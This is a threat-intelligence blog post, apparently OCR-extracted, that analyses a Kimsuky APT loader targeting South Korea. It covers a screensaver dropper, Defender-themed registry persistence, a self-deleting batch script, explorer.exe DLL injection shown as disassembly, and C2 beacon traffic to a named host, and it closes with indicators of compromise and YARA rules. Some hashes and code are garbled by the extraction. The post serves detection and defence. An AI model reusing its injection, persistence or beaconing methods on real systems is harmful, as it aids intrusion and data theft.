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Recently we have observed a significant increase in state-sponsored operations carried out by
threat actors worldwide. APT34, Gamaredon, and Transparent Tribe are a few samples of the
recently uncovered campaigns, the latter was spotted after four years of apparent inactivity.
Cybaze-Yoroi ZLab decided to study in depth a recent threat attributed to a North Korean APT

dubbed Kimsuky.

The Kimsuky APT group has been analyzed by
several security teams. It was first spotted by
Kaspersky researcher in 2013, recently its activity
was detailed by ESTsecurity.

We decided to analysed the activity of the group
after noticing a tweet of the user “@spider_girl22”
in February 28th 2020.

Technical Analysis

spider girl ~
@spider_girl22

#APT

maybe #Kimsuky malware like blog.alyac.co.kr/2737
md>5:47c95f19ebd745d588bb208f89c90ba

name:0| 8 A Al hwp.scr

c2: suzuki[.]datastore[.]pe[.]hu

2w

Figure 1: tweet on 28 February 2020
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Unlike other APT groups using long and complex infection chains, the Kimsuky group leverages a
shorter attack chain, but at the same time, we believe it is very effective in achieving a low
detection rate.

The infection starts with a classic executable file with “scr’ extension, an extension used by
Windows to identify Screensaver artifacts. In the following table are reported some information
about the sample.

Hash 757dfeacabf4c2f771147159d26117818354af14050e6ba42c-
c00f4a3d58e51f

Threat Kimsuky loader

Brief Scr file, initial loader

Description

Ssdeep 12288:APWcT1z2aKgkP/mANd2JIEWKZ52zfeCkIAYfLeXcj6uuLl:uhT1z
4q030JigZUaULeXc3uLl

Table 1: Information about initial loader with .scr extension

Upon execution, the malware writes a file named “<random_name>.tmp.db” inside the
“Y%oAppData%\LocalNTemp” path through the usage of the Microsoft Utility “regsvr32.exe”.

| ChA\Users\admim\AppData\Local\Temp

I Includi nella raccolta ~ Condividi con ~ Nuova cartella

.
= MNome Ultima modifica Tipo Dimensione
ktop 4 98D5.tmp.db 2870272020 11:37 Data Base File 375 KB

Figure 2: Written file (AutoUpdate.dll) in the “%AppData%\Local\Temp” path

Despite the “.db” extension, the written file is actually a well formed DLL that acts as the second
stage of the malware infection. Static information of DLL are shown below:

Hash caa24c46089c8953b2a5465457a6¢c202ecfa83ab-
bce7a9d3299ade52ec8382c2

Threat Kimsuky second stage

Brief DLL used by the Kimsuky group as second stage

Description

Ssdeep 6144:6l1he64TNUalJMRR{S5mABIlakVxOfLnePfcNI6GwUDuL/:6zfeCk-
IAYfLeXcj6uuL

Table 2: AutoUpdate.dll Information

The dll is then copied into the folder “%AppData%\Roaming\Microsoft\Windows\Defender\” and it
is renamed into “AutoUpdate.dIf.
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The “AutoUpdate.dll” library then gains persistence by setting the following registry key
“HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsDefender’. The name
and the path used by the attacker is absolutely tricky, because they reference to Windows
Defender:

ﬁ' Editor del Reqgistro di sistema EI@
File Modifica Visualizza Preferiti ?

: Run = || Nome Tipo Dati -
: RunOnce = || ab|WindowsDefend.. REG_SZ regsvr3Zexe /s "C\Users\admin\AppDataiRoaming\Microsoft\Windows\Defender\AutoUpdatedll” =
« 111} [ 2 -

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Figure 3: registry key set for persistence .

Furthermore, exploring the content of the folder “%AppData%\Local\Temp” path, we observed
another temporary file created and immediately removed dubbed “<random_name>.tmp.baf’. By
analyzing its contents, we noticed that it is used to delete the initial artifact (scr) and file itself.

1 :Repeatl

2 del "C:\Users\admin‘\Desktop\757dfeacabfdc2f771147155d26117818354af14050e6bad2cc00f4a3d58e51f.5cr”

3 if exist
"C:\Users\admin\Desktop\757dfeacabf4c2f771147159d26117818354af14050e6bad2cc00f4a3d58e51f.5¢cr™
goto Repeatl

4 del "C:\Users\admin\AppData\Local\Temp\1B92.tmp.bat"

Figure 4: Content of the bat script.

In order to hide the malicious operation and avoid raising suspicion, a legit document is created in
the same folder containing the “.scr” file, the document is named “0/&/A] 24/ hwp”. Translating its
name from Korean to English language, is possible to obtain the “CV Form” string. The name and
other information about the document are the following:

Hash d21523b7b8f6584305a0a6a83cd65c8ce0777a42ab781c35aa06c46¢91f504b4
Threat Kimsuky legit document

Brief  Legit document used to divert attention on the malware in “hwp” extension
gs;ip-

tion

Ss- 192:zXEKVs7kRvm+1FsO2ui/VplkCnH5QVSV9VahhU:r3YkA+1aJuk-
deep WQVS9avU

Table 3: Information about legit document with “.hwp” extension

As implied by the file name (CV Form), the document contains a CV form with empty fields, as
shown in the following figure.
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Figure 6: Legit document overview

Bypassing AV Detection

An interesting behaviour is the “explorer.exe” injection performed by the “AutoUpdate.dlF’ in order
to avoid AVs detection. Digging in the malicious code, it is possible to see the methods used to
perform this operation. First of all, the malware sets the right privileges, as reported in the
following image.
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call cs:qword_18065DBEO
mov rcx, rax
mow rg, ril3
xor edx, edx
call cs:gword 18605DBCA
mov rld, rax
mov rg, ri3 5 Size
mov rdx, ril2 5 Src
mow rcx, rax ; Dst
call memmove
test rid, rl4
jz loc_ 180002824
] =
call cs:qword_18005DBF8
mow rcx, rax ; ProcessHandle
lea r8, [rbp+57h+TokenHandle] ; TokenHandle
lea edx, [rbx+28h] ; DesiredAccess
call cs:0penProcessToken
test eax, eax
jz short loc_1800027A0
Al
I
mov [rbp+57h+Luid. LowPart], 1
mov dword ptr [rbp+57h+var_58+4], 2
1ea r&, [rbp+57h+Luid.HighPart] ; 1plLuid
1ea rdx, Name 5 "SeDebugPrivilege"
xor ecx, ecx 5 1pSystemMame
call cs:LookupPrivilegeValueh
test eax, eax
jz short loc_ 186882796
Y
il e =
mov [rsp+8DBh+ReturnLength], rbx ; ReturnlLength
mov [rsp+BDBh+PreviousState], rbx ; PreviousState
xor r9d, rod ; BufferLength
lea r8, [rbp+57h+Luid] ; NewState
xor edx, edx ; DisableAllPrivileges
mov rcx, [rbp+57h+TokenHandle] ; TokenHandle
call cs:AdjustTokenPrivileges
¥
MEE

loc_180002796:

Figure 7: Privilege set for the correct injection

Once obtained the necessary privileges, the malware is able to proceed with the injection. As
described by the analysis published by elastic, the malware writes the path to its malicious DLL in
the virtual address space of another process through the “VirtualAllocEx” function. In this case,
the target process is “explorer.exe’, it ensures the remote process loads it by creating a remote

thread inside it.

https://blog.yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/

5/12


https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

3/4/2020 The North Korean Kimsuky APT keeps threatening South Korea evolving its TTPs — Yoroi Blog

To perform these operations, first of all the malware needs to know the Process ID of the target,
this is performed through the navigation of all processes tree. This task can be executed using
the Tool Help Library Windows API family using CreateToolhelp32Snapshot(), Process32First(),
and Process32Next() API. Then, the malware calls VirtualAllocEx() to allocate a space to write
the path to the malicious DLL, then it calls WriteProcessMemory() to write the DLL path inside
the allocated memory.

After that, the malware calls the CreateRemoteThread() API to link the thread newly created to
the host process (explorer.exe). Parts of the described logic are shown in the below figure:

test eax, eax
jz short loc_180002BDE
v
I
mov [rsp+@8C8h+nSize], ri12
mov [rsp+@C8h+f1Protect], 4@h ; flProtect
mov rad, 3000h ; flAllocationType
mov r8d, ri2d ; dwSize
xor edx, edx ; 1lpAddress
mov rcx, rld ; hProcess
call cs:VirtualAllocEx
mov rl2, rax
test rax, rax
jz short loc_1800@2BDE
h 4
il i 5=
mowv gword ptr [rsp+8C8h+flProtect], rdi ; lpNumberOfBytesWritten
mowv r9, [rsp+8C8h+nSize] ; nSize
mowv r8, ris ; lpBuffer
mowv rdx, rax ; lpBaseAddress
mov rcx, rld ; hProcess
call cs:WriteProcessMemory
test eax, eax
jz short loc_ 180002BDE
) : )
FEE [l 5=
lea r9, [ri12+rl3] ; lpStartAddress
lea rax, [rsp+8C8h+ThreadId] loc_1800171BC:
mowv [rsp+8C8h+1pThreadld], rax ; lpThreadId ; _unwind { // _ CxxFrameHandler3
mowv [rsp+8C8h+dwCreationFlags], edi ; dwCreationFlags ; catch(...) // owned by 180002B17
mowv gword ptr [rsp+8C8h+flProtect], rdi ; lpParameter mowv [rsp+8C8h+var_B&], rdx
xor edx, edx ; lpThreadAttributes push rbp
mowv r8d, 100086h ; dwStackSize sub rsp, 48h
mowv rcx, ril4 ; hProcess mowv rbp, rdx
call cs:CreateRemoteThread lea rax, loc_180002BE@
mowv rsi, rax add rsp, 48h
; } // starts at 180002B17 pop rbp
retn
; END OF FUNCTION CHUNK FOR sub_1860@2AD@
YYYYYVYY ¥

Figure 8: API used for injection

Two components are implanted in the “explorer.exe” process. In the following tables are
presented some information about the two DLLs extracted.
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Hash bbad65136d73cbd5262bc88571677b5434ceb54fc1103f2133757-
dae2ec4b47b

Threat Injected DLL

Brief First injected DLL

Descrip-

tion

Ssdeep 3072:AFSYAyju5JpkC7xfYZo9cPavTV+qldyFa+zB+K+H/kocFAQUGSR:
AFJOqC7xAZIiT004+p10fkoefUG5

Table 4: Information about first DLLinjected in explorer.exe process

Hash 817e-
f0d9d3584977d1114b7e92012b653d339434a90967cbe8016899801f3751

Threat Injected DLL

Brief Second injected DLL

Descrip-

tion

Ssdeep 3072:AFSYAyjusJpkC7xfYZo9cPqvTV+qldyFa+zo+K+H/kocFANRGS5R:AF
JOqC7xAZIiT004+p00fkoegRG5

Table 5: Information about second DLL injected in explorer.exe process

Comparing the ssdeep of the two DLLs is possible to notice several overlaps between the two
libraries, a circumstance that confirms a high “similarity” between them. Below are highlighted the
different portions of the hash:

3072: AFSYAyjuSJpkC7xfYZo9cPqvTV+qldyFa+z *
+K+H/kocFAnRG5R:AFJ0qC7xAZI1iT004+p * Ofkoe * RGS

There are tiny differences between the DLLs as shown below performing a simple binary diffing
analysis.

Due to these differences between the two DLLs, we decided to continue the analysis on one of
them. Digging into the DLL, we notice that every time a function has to be performed by the
malware, it relies on a recurrent decryption routine, which decodes the strings containing the
actual instruction and executes it. An example of the decryption routine is reported in the following
figure on top right:

https://blog.yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/ 7/12



3/4/2020

The North Korean Kimsuky APT keeps threatening South Korea evolving its TTPs — Yoroi Blog

¥ ¥
0= (" 56A3CA33IDE2454D14B86FF53012862351 1DCE003AFE41383ACHECIFSA7DF
4FBD7543798EC6718F09A4FCAG25019D03D1 CSE2D73094977902DF62

loc_180006CC4: A27D9679D2ACDD72BEFDEDF6933991 3FE4ER1 B049ASFEOEDIFBO24
mov [rbp+17@h+var_1D8], @Fh CB47F7B0G08CCEGOBF10FD7 C62FS7EABCAE2DDODGBAD389E750368D2E4F79FESDS6
mov [rbp+17@h+var_1E€], rdi 23DDAZBO00E747181BC91BBOCS70137C6CC10608881D354E308AE2
mov byte ptr [rbp+176h+var_1Fe], @ AD575260F5E079D2995817A4 C2E9F2 SDEECAFCF475FODG798FB4CE11A008 -
mov [rbp+176h+var_128], @Fh DEDSSEDG3D460A149D24C49ED2CTBFCAS834C86A22056336C78F24DI9EZ L
mov [rbp+176h+var_130], rdi A9OFDIB466D327830A0CEFEF43661D3BFEB333F3F07326 CAA3CABGAAAATDTB3582E
mov byte ptr [rbp+170h+var_140], @ CE768B61D4672F03FCDACGSECE25973ABD805757F7FS88EE7FCAT843DF0277288795
mov r8d, 706h ; Si
lea rdx, a@al@ad2latecsd ; 3QAC 932FFDCO6793158D2 — b -
lea +170h+var_14@] ; Dst
call
lea " Ph+var_140] =]
lea rcx, [rsp+27dkgDst] ; Dst
call sub_180005430
nop c‘ic(ryp( proc near
; } // starts at 180806(B4

W = N

loc_180006D8a9 :

3o try {

mov r8, rax

lea rdx, asc_18802A5D4 ;N -"
lea rcx, [rbp+17@h+var_188
call sub_1800087640

nop

H } // starts at 180006D@9

'

) =

loc_188@06D1D:
;0 try {

Figure 10: Decryption flow graph

Every 15 minutes, the malware contacts the C2
(suzuki.Jdatastore.]pe.]hu) and sends back the

information about the compromised machine, as reported
in the previous figure. In particular, three HTTP requests lea
are made using different URLs paths and different User-
Agent fields for each request. An example of the C2

registration is the following:

arg_8- qword ptr 8
arg_8- qword ptr 1o

nov [rspearg_8), rbx
mov [rsprarg_8), rsi
push  rdi
sub rsp, 20h
mov rdi, rg
mov rsi, rdx
mov rbx, rex
test  rdx, rdx
iz short loc_180602£87
- L
EE
mov rdx, [rexe18h)
cnp rdx, 10h
ib short loc_188002E3C
¥ ¥
=] ! =
mov rax, [rex]

jmp short loc_180002E3F| [loc_180002£3C

i e =
loc_778517C6:
lea r8, [rbp+138h+var 38]
rdx, aHttp ; "http://"
lea rcx, [rbp+138h+Src] ; Src
call sub_77844540
nop
M=
loc_778517DE:
lea r8, asc_7786CFBC ; "/"
mov rdx, rax
lea rcx, [rbp+138h+var_1B8]
call sub_778427D0
nop

!

EE]

loc_778517F2:

lea r8, [rbp+138h+var_98]
mov rdx, rax

lea rex, [rbp+138h+var 148]
call sub_77844500

nop

!

il et =

loc_77851806:

lea r8, aMCP1 5 "/ Pm=c&pl=""
mov rdx, rax

lea rcx, [rbp+138h+Memory]

call sub_778427D0

nop

Figure 11: Parts of subroutines used to
perform network communication
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GET //?m=a&p1=080027868d80&p2=win_6.1.76@1-x64_DROPPER HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: suzuki.datastore.pe.hu

Cache-Control: no-cache

HTTP/1.1 200 OK

Connection: Keep-Alive

X-Powered-By: PHP/7.2.26

Content-Type: text/html; charset=UTF-8
Content-Length: @

Date: Fri, 28 Feb 2020 10:14:59 GMT
Server: LiteSpeed

GET ///?m=c&pl=080027868d80 HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64; Trident/7.@; rv:11.8) like Gecko
Host: suzuki.datastore.pe.hu

Connection: Keep-Alive

HTTP/1.1 208 OK

Connection: Keep-Alive

X-Powered-By: PHP/7.2.26

Content-Type: text/html; charset=UTF-8
Content-Length: @

Date: Fri, 28 Feb 2020 10:14:59 GMT
Server: LiteSpeed

GET //?m=d&pl-080027868d80 HTTP/1.1
User-Agent: Mozilla/5.@ (Windows NT 10.0; Wined; x64) ApplelebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: suzuki.datastore.pe.hu
Cache-Control: no-cache

HTTP/1.1 288 0K

Connection: Keep-Alive

X-Powered-By: PHP/7.2.26

Content-Type: text/html; charset=UTF-8
Content-Length: @

Date: Fri, 28 Feb 2820 10:14:59 GMT
Server: LiteSpeed

Figure 12: Network traffic performed by the malware

Conclusion

During our Threat Intelligence activities, we discovered a new malware implant compatible with
the previous campaigns of Kimsuky APT actor. According to the ESTsecurity firm, the initial
dropper contains two malicious resources embedding the malicious DLLs, however, in our sample
there aren’t.

Despite these little differences, we can affirm with good confidence that the Threat Actor is
Kimsuky due to strong similarities with the TTPs.

Indicator of Compromise

» Hashes:
o 757dfeacabf4c2f771147159d26117818354af14050e6ba42cc00f4a3d58e51f
o caa24c46089c8953b2a5465457a6¢c202ecfa83abbce7a9d3299ade52ec8382¢c2
o bbad65136d73cbd5262bc88571677b5434ceb54fc1103f2133757dae2ec4b47b
o 817ef0d9d3584977d1114b7e€92012b653d339434a90967che8016899801f3751
« C2:
suzuki.]datastore.]pe.]hu
» Persistence:
HKCW\Software\Microsoft\Windows\CurrentVersiom\RunOnce\WindowsDefender
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Yara Rules
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import "pe"
rule loader {
meta:
description = "Yara rule for the initial loader SRC"
author = "Yoroi - ZLab"
last_updated = "2020-03-02"
tlp = "white"
category = "informational"
strings:
$al = " goto Repeatl"
$a2 = {84 58 43 F4 39 1B 96 32 E4 2D 63}
$a3 = {89 04 4D 30 7A 05 10 41 EB E8 8B}
$a4 = {80 A1l B2 F7 15 DE F@ 7E 35 75}
$a5 = {9C @E 57 4C 77 B1 OE 06 08 5E}
condition:
uint16(0) == 0x5A4D and pe.number_of_sections == 5 and 3 of ($ax)
¥
import "pe"
rule AutoUpdate_d1l {
meta:
description = "Yara rule for the AutoUpdate_dl1"
author = "Yoroi - ZLab"
last_updated = '"2020-03-02"
tlp = "white"
category = "informational"
strings:
$al = {48 8B 3F 48 83 78 18 10 72}
$a2 = {36 42 35 45 35 41 42 33 42 41 39}
$a3 = { DD E7 FE DA C6 F7 F9 8D 7D F9 }
$ad = "1#SNAN"
$a5 = "d$4DOL$t"
$a6 = "DllRegisterServer"
$a7 = "DllWUnregisterServer"
condition:
uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($ax))
¥
import "pe"
rule injectedDLL {
meta:
description = "Yara rule for the injected DLL"
author = "Yoroi - ZLab"
last_updated = "2020-03-02"
tlp = "white"
category = "informational"
strings:

$al = {41 80 3E 5E 89 45 A4 75 08 49}

$a2 = {60 03 50 02 30 58 68 01 00 70}
$a3 = {98 F7 02 00 7B 44 00 00 91 44}
$a4 = "/?m=b&pl="

$a5 = "&p2=b"
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$ab "/?m=a&pl=""
$a7 = "AUAVAWH"

condition:
uint16(0) == 0x5A4D and pe.number_of_sections == 6 and (4 of ($ax))
¥
rule legit_DOC {
meta:
description = "Yara rule for the Legit DOC"
author = "Yoroi - ZLab"
last_updated = "2020-03-02"
tlp = "white"
category = "informational"
strings:
$al = "HWP Document File"
$a2 = "UPcfZrc"
$a3 = {D1 A9 30 1A 5D C1 16 41 15 DA DF 54}
$a4 = {B4 D5 31 1B F9 66 7C 56 5A 15}
$a5 = {30 30 F8 18 18 F8 00 00 EQ 00 00 C8}
$a6 = {DC 66 43 0C 53 00 65 00 63 00}
$a7 = {05 00 48 00 77 00 70 00 53 00 75 00 6D 00 6D}
condition:
all of them
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